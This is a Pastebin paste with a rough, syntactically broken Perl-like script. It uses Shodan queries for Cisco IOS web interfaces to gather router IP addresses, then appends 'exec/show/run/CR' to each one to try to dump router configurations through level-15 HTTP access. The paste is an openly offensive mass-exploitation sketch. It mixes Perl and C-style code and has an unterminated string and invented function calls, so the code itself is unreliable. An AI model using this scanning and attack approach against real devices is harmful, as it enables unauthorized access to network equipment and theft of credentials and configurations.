Guest User

Untitled

a guest
Jan 16th, 2012
3,095
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.55 KB | None | 0 0
  1.  
  2.  
  3. use Shodan::WebAPI;
  4.  
  5. $SHODAN_API_KEY = "insert your API key here";
  6.  
  7. $api = new Shodan::WebAPI($SHODAN_API_KEY);
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15. //"200 OK" i.LON
  16. //“cisco-ios port:80”
  17. // “cisco-ios port:80 200 OK country:GB”
  18.  
  19. //append to url exec/show/run/CR
  20.  
  21. $cisco-attack="exec/show/run/CR";
  22. $cisco-secret="username netadmin privilege 15 secret
  23.  
  24. //iplist is shodan array of ips to test for level15 access via url
  25.  
  26.  
  27.  
  28.  
  29.  
  30. lwp-www.connect($iplist[0].$cisco-attack);
  31.  
  32.  
  33.  
  34.  
  35. if (response=="200 ok"){
  36.  
  37.  
  38.  
  39. print "resp_content";
  40.  
  41.  
  42. }
  43.  
  44. return 0;
  45.  
  46.  
  47. }
Advertisement
Add Comment
Please, Sign In to add comment